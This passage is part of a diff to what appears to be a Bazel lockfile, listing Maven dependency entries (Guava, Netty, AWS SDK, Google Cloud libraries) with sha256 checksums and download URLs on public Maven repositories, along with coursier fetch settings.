"urls": [ + "https://repo1.maven.org/maven2/com/google/oauth-client/google-oauth-client/1.31.1/google-oauth-client-1.31.1.jar", + "https://maven.google.com/com/google/oauth-client/google-oauth-client/1.31.1/google-oauth-client-1.31.1.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/oauth-client/google-oauth-client/1.31.1/google-oauth-client-1.31.1.jar" + } + }, + "maven": { + "bzlFile": "@@rules_jvm_external~4.4.2//:coursier.bzl", + "ruleClassName": "coursier_fetch", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~maven", + "repositories": [ + "{ \"repo_url\": \"https://repo1.maven.org/maven2\" }" + ], + "artifacts": [ + "{\"artifact\":\"jsr305\",\"group\":\"com.google.code.findbugs\",\"version\":\"3.0.2\"}", + "{\"artifact\":\"gson\",\"group\":\"com.google.code.gson\",\"version\":\"2.8.9\"}", + "{\"artifact\":\"error_prone_annotations\",\"group\":\"com.google.errorprone\",\"version\":\"2.3.2\"}", + "{\"artifact\":\"j2objc-annotations\",\"group\":\"com.google.j2objc\",\"version\":\"1.3\"}", + "{\"artifact\":\"guava\",\"group\":\"com.google.guava\",\"version\":\"31.1-jre\"}", + "{\"artifact\":\"guava-testlib\",\"group\":\"com.google.guava\",\"version\":\"31.1-jre\"}", + "{\"artifact\":\"truth\",\"group\":\"com.google.truth\",\"version\":\"1.1.2\"}", + "{\"artifact\":\"junit\",\"group\":\"junit\",\"version\":\"4.13.2\"}", + "{\"artifact\":\"mockito-core\",\"group\":\"org.mockito\",\"version\":\"4.3.1\"}" + ], + "fail_on_missing_checksum": true, + "fetch_sources": true, + "fetch_javadoc": false, + "use_unsafe_shared_cache": false, + "excluded_artifacts": [], + "generate_compat_repositories": false, + "version_conflict_policy": "default", + "override_targets": {}, + "strict_visibility": false, + "strict_visibility_value": [ + "@@//visibility:private" + ], + "resolve_timeout": 600, + "jetify": false, + "jetify_include_list": [ + "*" + ], + "use_starlark_android_rules": false, + "aar_import_bzl_label": "@build_bazel_rules_android//android:rules.bzl", + "duplicate_version_warning": "warn" + } + }, + "software_amazon_awssdk_aws_xml_protocol_2_17_183": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~software_amazon_awssdk_aws_xml_protocol_2_17_183", + "sha256": "566bba05d49256fa6994efd68fa625ae05a62ea45ee74bb9130d20ea20988363", + "urls": [ + "https://repo1.maven.org/maven2/software/amazon/awssdk/aws-xml-protocol/2.17.183/aws-xml-protocol-2.17.183.jar", + "https://maven.google.com/software/amazon/awssdk/aws-xml-protocol/2.17.183/aws-xml-protocol-2.17.183.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/software/amazon/awssdk/aws-xml-protocol/2.17.183/aws-xml-protocol-2.17.183.jar" + } + }, + "software_amazon_awssdk_annotations_2_17_183": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~software_amazon_awssdk_annotations_2_17_183", + "sha256": "8e4d72361ca805a0bd8bbd9017cd7ff77c8d170f2dd469c7d52d5653330bb3fd", + "urls": [ + "https://repo1.maven.org/maven2/software/amazon/awssdk/annotations/2.17.183/annotations-2.17.183.jar", + "https://maven.google.com/software/amazon/awssdk/annotations/2.17.183/annotations-2.17.183.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/software/amazon/awssdk/annotations/2.17.183/annotations-2.17.183.jar" + } + }, + "software_amazon_awssdk_netty_nio_client_2_17_183": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~software_amazon_awssdk_netty_nio_client_2_17_183", + "sha256": "a6d356f364c56d7b90006b0b7e503b8630010993a5587ce42e74b10b8dca2238", + "urls": [ + "https://repo1.maven.org/maven2/software/amazon/awssdk/netty-nio-client/2.17.183/netty-nio-client-2.17.183.jar", + "https://maven.google.com/software/amazon/awssdk/netty-nio-client/2.17.183/netty-nio-client-2.17.183.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/software/amazon/awssdk/netty-nio-client/2.17.183/netty-nio-client-2.17.183.jar" + } + }, + "com_google_auto_value_auto_value_annotations_1_7_4": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_auto_value_auto_value_annotations_1_7_4", + "sha256": "fedd59b0b4986c342f6ab2d182f2a4ee9fceb2c7e2d5bdc4dc764c92394a23d3", + "urls": [ + "https://repo1.maven.org/maven2/com/google/auto/value/auto-value-annotations/1.7.4/auto-value-annotations-1.7.4.jar", + "https://maven.google.com/com/google/auto/value/auto-value-annotations/1.7.4/auto-value-annotations-1.7.4.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/auto/value/auto-value-annotations/1.7.4/auto-value-annotations-1.7.4.jar" + } + }, + "io_netty_netty_transport_native_unix_common_4_1_72_Final": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~io_netty_netty_transport_native_unix_common_4_1_72_Final", + "sha256": "6f8f1cc29b5a234eeee9439a63eb3f03a5994aa540ff555cb0b2c88cefaf6877", + "urls": [ + "https://repo1.maven.org/maven2/io/netty/netty-transport-native-unix-common/4.1.72.Final/netty-transport-native-unix-common-4.1.72.Final.jar", + "https://maven.google.com/io/netty/netty-transport-native-unix-common/4.1.72.Final/netty-transport-native-unix-common-4.1.72.Final.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/io/netty/netty-transport-native-unix-common/4.1.72.Final/netty-transport-native-unix-common-4.1.72.Final.jar" + } + }, + "io_opencensus_opencensus_contrib_http_util_0_24_0": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~io_opencensus_opencensus_contrib_http_util_0_24_0", + "sha256": "7155273bbb1ed3d477ea33cf19d7bbc0b285ff395f43b29ae576722cf247000f", + "urls": [ + "https://repo1.maven.org/maven2/io/opencensus/opencensus-contrib-http-util/0.24.0/opencensus-contrib-http-util-0.24.0.jar", + "https://maven.google.com/io/opencensus/opencensus-contrib-http-util/0.24.0/opencensus-contrib-http-util-0.24.0.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/io/opencensus/opencensus-contrib-http-util/0.24.0/opencensus-contrib-http-util-0.24.0.jar" + } + }, + "com_fasterxml_jackson_core_jackson_core_2_11_3": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_fasterxml_jackson_core_jackson_core_2_11_3", + "sha256": "78cd0a6b936232e06dd3e38da8a0345348a09cd1ff9c4d844c6ee72c75cfc402", + "urls": [ + "https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.11.3/jackson-core-2.11.3.jar", + "https://maven.google.com/com/fasterxml/jackson/core/jackson-core/2.11.3/jackson-core-2.11.3.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.11.3/jackson-core-2.11.3.jar" + } + }, + "com_google_cloud_google_cloud_core_1_93_10": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_cloud_google_cloud_core_1_93_10", + "sha256": "832d74eca66f4601e162a8460d6f59f50d1d23f93c18b02654423b6b0d67c6ea", + "urls": [ + "https://repo1.maven.org/maven2/com/google/cloud/google-cloud-core/1.93.10/google-cloud-core-1.93.10.jar", + "https://maven.google.com/com/google/cloud/google-cloud-core/1.93.10/google-cloud-core-1.93.10.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/cloud/google-cloud-core/1.93.10/google-cloud-core-1.93.10.jar" + } + }, + "com_google_auth_google_auth_library_credentials_0_22_0": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_auth_google_auth_library_credentials_0_22_0", + "sha256": "42c76031276de5b520909e9faf88c5b3c9a722d69ee9cfdafedb1c52c355dfc5", + "urls": [ + "https://repo1.maven.org/maven2/com/google/auth/google-auth-library-credentials/0.22.0/google-auth-library-credentials-0.22.0.jar", + "https://maven.google.com/com/google/auth/google-auth-library-credentials/0.22.0/google-auth-library-credentials-0.22.0.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/auth/google-auth-library-credentials/0.22.0/google-auth-library-credentials-0.22.0.jar" + } + }, + "com_google_guava_guava_30_0_android": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_guava_guava_30_0_android", + "sha256": "3345c82c2cc70a0053e8db9031edc6d71625ef0dea6a2c8f5ebd6cb76d2bf843", + "urls": [ + "https://repo1.maven.org/maven2/com/google/guava/guava/30.0-android/guava-30.0-android.jar", + "https://maven.google.com/com/google/guava/guava/30.0-android/guava-30.0-android.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/guava/guava/30.0-android/guava-30.0-android.jar" + } + }, + "software_amazon_awssdk_profiles_2_17_183": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~software_amazon_awssdk_profiles_2_17_183", + "sha256": "78833b32fde3f1c5320373b9ea955c1bbc28f2c904010791c4784e610193ee56", + "urls": [ + "https://repo1.maven.org/maven2/software/amazon/awssdk/profiles/2.17.183/profiles-2.17.183.jar", + "https://maven.google.com/software/amazon/awssdk/profiles/2.17.183/profiles-2.17.183.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/software/amazon/awssdk/profiles/2.17.183/profiles-2.17.183.jar" + } + }, + "org_apache_httpcomponents_httpcore_4_4_13": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~org_apache_httpcomponents_httpcore_4_4_13", + "sha256": "e06e89d40943245fcfa39ec537cdbfce3762aecde8f9c597780d2b00c2b43424", + "urls": [ + "https://repo1.maven.org/maven2/org/apache/httpcomponents/httpcore/4.4.13/httpcore-4.4.13.jar", + "https://maven.google.com/org/apache/httpcomponents/httpcore/4.4.13/httpcore-4.4.13.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/org/apache/httpcomponents/httpcore/4.4.13/httpcore-4.4.13.jar" + } + }, + "io_netty_netty_common_4_1_72_Final": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~io_netty_netty_common_4_1_72_Final", + "sha256": "8adb4c291260ceb2859a68c49f0adeed36bf49587608e2b81ecff6aaf06025e9", + "urls": [ + "https://repo1.maven.org/maven2/io/netty/netty-common/4.1.72.Final/netty-common-4.1.72.Final.jar", + "https://maven.google.com/io/netty/netty-common/4.1.72.Final/netty-common-4.1.72.Final.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/io/netty/netty-common/4.1.72.Final/netty-common-4.1.72.Final.jar" + } + }, + "io_netty_netty_transport_classes_epoll_4_1_72_Final": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~io_netty_netty_transport_classes_epoll_4_1_72_Final", + "sha256": "e1528a9751c1285aa7beaf3a1eb0597151716426ce38598ac9bc0891209b9e68", + "urls": [ + "https://repo1.maven.org/maven2/io/netty/netty-transport-classes-epoll/4.1.72.Final/netty-transport-classes-epoll-4.1.72.Final.jar", + "https://maven.google.com/io/netty/netty-transport-classes-epoll/4.1.72.Final/netty-transport-classes-epoll-4.1.72.Final.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/io/netty/netty-transport-classes-epoll/4.1.72.Final/netty-transport-classes-epoll-4.1.72.Final.jar" + } + }, + "com_google_cloud_google_cloud_core_http_1_93_10": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_cloud_google_cloud_core_http_1_93_10", + "sha256": "81ac67c14c7c4244d2b7db2607ad352416aca8d3bb2adf338964e8fea25b1b3c", + "urls": [ + "https://repo1.maven.org/maven2/com/google/cloud/google-cloud-core-http/1.93.10/google-cloud-core-http-1.93.10.jar", + "https://maven.google.com/com/google/cloud/google-cloud-core-http/1.93.10/google-cloud-core-http-1.93.10.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/cloud/google-cloud-core-http/1.93.10/google-cloud-core-http-1.93.10.jar" + } + }, + "software_amazon_awssdk_utils_2_17_183": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~software_amazon_awssdk_utils_2_17_183", + "sha256": "7bd849bb5aa71bfdf6b849643736ecab3a7b3f204795804eefe5754104231ec6", + "urls": [ + "https://repo1.maven.org/maven2/software/amazon/awssdk/utils/2.17.183/utils-2.17.183.jar", + "https://maven.google.com/software/amazon/awssdk/utils/2.17.183/utils-2.17.183.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/software/amazon/awssdk/utils/2.17.183/utils-2.17.183.jar" + } + }, + "org_apache_commons_commons_lang3_3_8_1": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~org_apache_commons_commons_lang3_3_8_1", + "sha256": "dac807f65b07698ff39b1b07bfef3d87ae3fd46d91bbf8a2bc02b2a831616f68", + "urls": [ + "https://repo1.maven.org/maven2/org/apache/commons/commons-lang3/3.8.1/commons-lang3-3.8.1.jar", + "https://maven.google.com/org/apache/commons/commons-lang3/3.8.1/commons-lang3-3.8.1.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/org/apache/commons/commons-lang3/3.8.1/commons-lang3-3.8.1.jar" + } + }, + "software_amazon_awssdk_aws_core_2_17_183": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~software_amazon_awssdk_aws_core_2_17_183", + "sha256": "bccbdbea689a665a702ff19828662d87fb7fe81529df13f02ef1e4c474ea9f93", + "urls": [ + "https://repo1.maven.org/maven2/software/amazon/awssdk/aws-core/2.17.183/aws-core-2.17.183.jar", + "https://maven.google.com/software/amazon/awssdk/aws-core/2.17.183/aws-core-2.17.183.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/software/amazon/awssdk/aws-core/2.17.183/aws-core-2.17.183.jar" + } + }, + "com_google_api_gax_httpjson_0_77_0": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_api_gax_httpjson_0_77_0", + "sha256": "fd4dae47fa016d3b26e8d90b67ddc6c23c4c06e8bcdf085c70310ab7ef324bd6", + "urls": [ + "https://repo1.maven.org/maven2/com/google/api/gax-httpjson/0.77.0/gax-httpjson-0.77.0.jar", + "https://maven.google.com/com/google/api/gax-httpjson/0.77.0/gax-httpjson-0.77.0.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/api/gax-httpjson/0.77.0/gax-httpjson-0.77.0.jar" + } + }, + "unpinned_rules_jvm_external_deps": { + "bzlFile": "@@rules_jvm_external~4.4.2//:coursier.bzl", + "ruleClassName": "coursier_fetch", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~unpinned_rules_jvm_external_deps", + "repositories": [ + "{ \"repo_url\": \"https://repo1.maven.org/maven2\" }" + ], + "artifacts": [ + "{\"artifact\":\"google-cloud-core\",\"group\":\"com.google.cloud\",\"version\":\"1.93.10\"}", + "{\"artifact\":\"google-cloud-storage\",\"group\":\"com.google.cloud\",\"version\":\"1.113.4\"}", + "{\"artifact\":\"gson\",\"group\":\"com.google.code.gson\",\"version\":\"2.9.0\"}", + "{\"artifact\":\"maven-artifact\",\"group\":\"org.apache.maven\",\"version\":\"3.8.6\"}", + "{\"artifact\":\"s3\",\"group\":\"software.amazon.awssdk\",\"version\":\"2.17.183\"}" + ], + "fail_on_missing_checksum": true, + "fetch_sources": true, + "fetch_javadoc": false, + "use_unsafe_shared_cache": false, + "excluded_artifacts": [], + "generate_compat_repositories": false, + "version_conflict_policy": "default", + "override_targets": {}, + "strict_visibility": false, + "strict_visibility_value": [ + "@@//visibility:private" + ], + "maven_install_json": "@@rules_jvm_external~4.4.2//:rules_jvm_external_deps_install.json", + "resolve_timeout": 600, + "jetify": false, + "jetify_include_list": [ + "*" + ], + "use_starlark_android_rules": false, + "aar_import_bzl_label": "@build_bazel_rules_android//android:rules.bzl", + "duplicate_version_warning": "warn" + } + }, + "software_amazon_awssdk_regions_2_17_183": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~software_amazon_awssdk_regions_2_17_183", + "sha256": "d3079395f3ffc07d04ffcce16fca29fb5968197f6e9ea3dbff6be297102b40a5", + "urls": [ + "https://repo1.maven.org/maven2/software/amazon/awssdk/regions/2.17.183/regions-2.17.183.jar", + "https://maven.google.com/software/amazon/awssdk/regions/2.17.183/regions-2.17.183.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/software/amazon/awssdk/regions/2.17.183/regions-2.17.183.jar" + } + }, + "com_google_errorprone_error_prone_annotations_2_4_0": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_errorprone_error_prone_annotations_2_4_0", + "sha256": "5f2a0648230a662e8be049df308d583d7369f13af683e44ddf5829b6d741a228", + "urls": [ + "https://repo1.maven.org/maven2/com/google/errorprone/error_prone_annotations/2.4.0/error_prone_annotations-2.4.0.jar", + "https://maven.google.com/com/google/errorprone/error_prone_annotations/2.4.0/error_prone_annotations-2.4.0.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/errorprone/error_prone_annotations/2.4.0/error_prone_annotations-2.4.0.jar" + } + }, + "io_netty_netty_handler_4_1_72_Final": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~io_netty_netty_handler_4_1_72_Final", + "sha256": "9cb6012af7e06361d738ac4e3bdc49a158f8cf87d9dee0f2744056b7d99c28d5", + "urls": [ + "https://repo1.maven.org/maven2/io/netty/netty-handler/4.1.72.Final/netty-handler-4.1.72.Final.jar", + "https://maven.google.com/io/netty/netty-handler/4.1.72.Final/netty-handler-4.1.72.Final.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/io/netty/netty-handler/4.1.72.Final/netty-handler-4.1.72.Final.jar" + } + }, + "software_amazon_awssdk_aws_query_protocol_2_17_183": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~software_amazon_awssdk_aws_query_protocol_2_17_183", + "sha256": "4dace03c76f80f3dec920cb3dedb2a95984c4366ef4fda728660cb90bed74848", + "urls": [ + "https://repo1.maven.org/maven2/software/amazon/awssdk/aws-query-protocol/2.17.183/aws-query-protocol-2.17.183.jar", + "https://maven.google.com/software/amazon/awssdk/aws-query-protocol/2.17.183/aws-query-protocol-2.17.183.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/software/amazon/awssdk/aws-query-protocol/2.17.183/aws-query-protocol-2.17.183.jar" + } + }, + "io_netty_netty_codec_http_4_1_72_Final": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~io_netty_netty_codec_http_4_1_72_Final", + "sha256": "fa6fec88010bfaf6a7415b5364671b6b18ffb6b35a986ab97b423fd8c3a0174b", + "urls": [ + "https://repo1.maven.org/maven2/io/netty/netty-codec-http/4.1.72.Final/netty-codec-http-4.1.72.Final.jar", + "https://maven.google.com/io/netty/netty-codec-http/4.1.72.Final/netty-codec-http-4.1.72.Final.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/io/netty/netty-codec-http/4.1.72.Final/netty-codec-http-4.1.72.Final.jar" + } + }, + "io_netty_netty_resolver_4_1_72_Final": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~io_netty_netty_resolver_4_1_72_Final", + "sha256": "6474598aab7cc9d8d6cfa06c05bd1b19adbf7f8451dbdd73070b33a6c60b1b90", + "urls": [ + "https://repo1.maven.org/maven2/io/netty/netty-resolver/4.1.72.Final/netty-resolver-4.1.72.Final.jar", + "https://maven.google.com/io/netty/netty-resolver/4.1.72.Final/netty-resolver-4.1.72.Final.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/io/netty/netty-resolver/4.1.72.Final/netty-resolver-4.1.72.Final.jar" + } + }, + "software_amazon_awssdk_protocol_core_2_17_183": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~software_amazon_awssdk_protocol_core_2_17_183", + "sha256": "10e7c4faa1f05e2d73055d0390dbd0bb6450e2e6cb85beda051b1e4693c826ce", + "urls": [ + "https://repo1.maven.org/maven2/software/amazon/awssdk/protocol-core/2.17.183/protocol-core-2.17.183.jar", + "https://maven.google.com/software/amazon/awssdk/protocol-core/2.17.183/protocol-core-2.17.183.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/software/amazon/awssdk/protocol-core/2.17.183/protocol-core-2.17.183.jar" + } + }, + "org_checkerframework_checker_compat_qual_2_5_5": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~org_checkerframework_checker_compat_qual_2_5_5", + "sha256": "11d134b245e9cacc474514d2d66b5b8618f8039a1465cdc55bbc0b34e0008b7a", + "urls": [ + "https://repo1.maven.org/maven2/org/checkerframework/checker-compat-qual/2.5.5/checker-compat-qual-2.5.5.jar", + "https://maven.google.com/org/checkerframework/checker-compat-qual/2.5.5/checker-compat-qual-2.5.5.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/org/checkerframework/checker-compat-qual/2.5.5/checker-compat-qual-2.5.5.jar" + } + }, + "com_google_apis_google_api_services_storage_v1_rev20200927_1_30_10": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_apis_google_api_services_storage_v1_rev20200927_1_30_10", + "sha256": "52d26a9d105f8d8a0850807285f307a76cea8f3e0cdb2be4d3b15b1adfa77351", + "urls": [ + "https://repo1.maven.org/maven2/com/google/apis/google-api-services-storage/v1-rev20200927-1.30.10/google-api-services-storage-v1-rev20200927-1.30.10.jar", + "https://maven.google.com/com/google/apis/google-api-services-storage/v1-rev20200927-1.30.10/google-api-services-storage-v1-rev20200927-1.30.10.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/apis/google-api-services-storage/v1-rev20200927-1.30.10/google-api-services-storage-v1-rev20200927-1.30.10.jar" + } + }, + "com_google_api_client_google_api_client_1_30_11": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_api_client_google_api_client_1_30_11", + "sha256": "ee6f97865cc7de6c7c80955c3f37372cf3887bd75e4fc06f1058a6b4cd9bf4da", + "urls": [ + "https://repo1.maven.org/maven2/com/google/api-client/google-api-client/1.30.11/google-api-client-1.30.11.jar", + "https://maven.google.com/com/google/api-client/google-api-client/1.30.11/google-api-client-1.30.11.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/api-client/google-api-client/1.30.11/google-api-client-1.30.11.jar" + } + }, + "software_amazon_awssdk_s3_2_17_183": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~software_amazon_awssdk_s3_2_17_183", + "sha256": "ab073b91107a9e4ed9f030314077d137fe627e055ad895fabb036980a050e360", + "urls": [ + "https://repo1.maven.org/maven2/software/amazon/awssdk/s3/2.17.183/s3-2.17.183.jar", + "https://maven.google.com/software/amazon/awssdk/s3/2.17.183/s3-2.17.183.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/software/amazon/awssdk/s3/2.17.183/s3-2.17.183.jar" + } + }, + "org_apache_maven_maven_artifact_3_8_6": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~org_apache_maven_maven_artifact_3_8_6", + "sha256": "de22a4c6f54fe31276a823b1bbd3adfd6823529e732f431b5eff0852c2b9252b", + "urls": [ + "https://repo1.maven.org/maven2/org/apache/maven/maven-artifact/3.8.6/maven-artifact-3.8.6.jar", + "https://maven.google.com/org/apache/maven/maven-artifact/3.8.6/maven-artifact-3.8.6.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/org/apache/maven/maven-artifact/3.8.6/maven-artifact-3.8.6.jar" + } + }, + "org_apache_httpcomponents_httpclient_4_5_13": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~org_apache_httpcomponents_httpclient_4_5_13", + "sha256": "6fe9026a566c6a5001608cf3fc32196641f6c1e5e1986d1037ccdbd5f31ef743", + "urls": [ + "https://repo1.maven.org/maven2/org/apache/httpcomponents/httpclient/4.5.13/httpclient-4.5.13.jar", + "https://maven.google.com/org/apache/httpcomponents/httpclient/4.5.13/httpclient-4.5.13.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/org/apache/httpcomponents/httpclient/4.5.13/httpclient-4.5.13.jar" + } + }, + "com_google_guava_listenablefuture_9999_0_empty_to_avoid_conflict_with_guava": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_guava_listenablefuture_9999_0_empty_to_avoid_conflict_with_guava", + "sha256": "b372a037d4230aa57fbeffdef30fd6123f9c0c2db85d0aced00c91b974f33f99", + "urls": [ + "https://repo1.maven.org/maven2/com/google/guava/listenablefuture/9999.0-empty-to-avoid-conflict-with-guava/listenablefuture-9999.0-empty-to-avoid-conflict-with-guava.jar", + "https://maven.google.com/com/google/guava/listenablefuture/9999.0-empty-to-avoid-conflict-with-guava/listenablefuture-9999.0-empty-to-avoid-conflict-with-guava.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/guava/listenablefuture/9999.0-empty-to-avoid-conflict-with-guava/listenablefuture-9999.0-empty-to-avoid-conflict-with-guava.jar" + } + }, + "com_google_http_client_google_http_client_1_38_0": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~com_google_http_client_google_http_client_1_38_0", + "sha256": "411f4a42519b6b78bdc0fcfdf74c9edcef0ee97afa4a667abe04045a508d6302", + "urls": [ + "https://repo1.maven.org/maven2/com/google/http-client/google-http-client/1.38.0/google-http-client-1.38.0.jar", + "https://maven.google.com/com/google/http-client/google-http-client/1.38.0/google-http-client-1.38.0.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/com/google/http-client/google-http-client/1.38.0/google-http-client-1.38.0.jar" + } + }, + "software_amazon_awssdk_apache_client_2_17_183": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~software_amazon_awssdk_apache_client_2_17_183", + "sha256": "78ceae502fce6a97bbe5ff8f6a010a52ab7ea3ae66cb1a4122e18185fce45022", + "urls": [ + "https://repo1.maven.org/maven2/software/amazon/awssdk/apache-client/2.17.183/apache-client-2.17.183.jar", + "https://maven.google.com/software/amazon/awssdk/apache-client/2.17.183/apache-client-2.17.183.jar" + ], + "downloaded_file_path": "v1/https/repo1.maven.org/maven2/software/amazon/awssdk/apache-client/2.17.183/apache-client-2.17.183.jar" + } + }, + "software_amazon_awssdk_arns_2_17_183": { + "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", + "ruleClassName": "http_file", + "attributes": { + "name": "rules_jvm_external~4.4.2~maven~software_amazon_awssdk_arns_2_17_183", + "sha256": 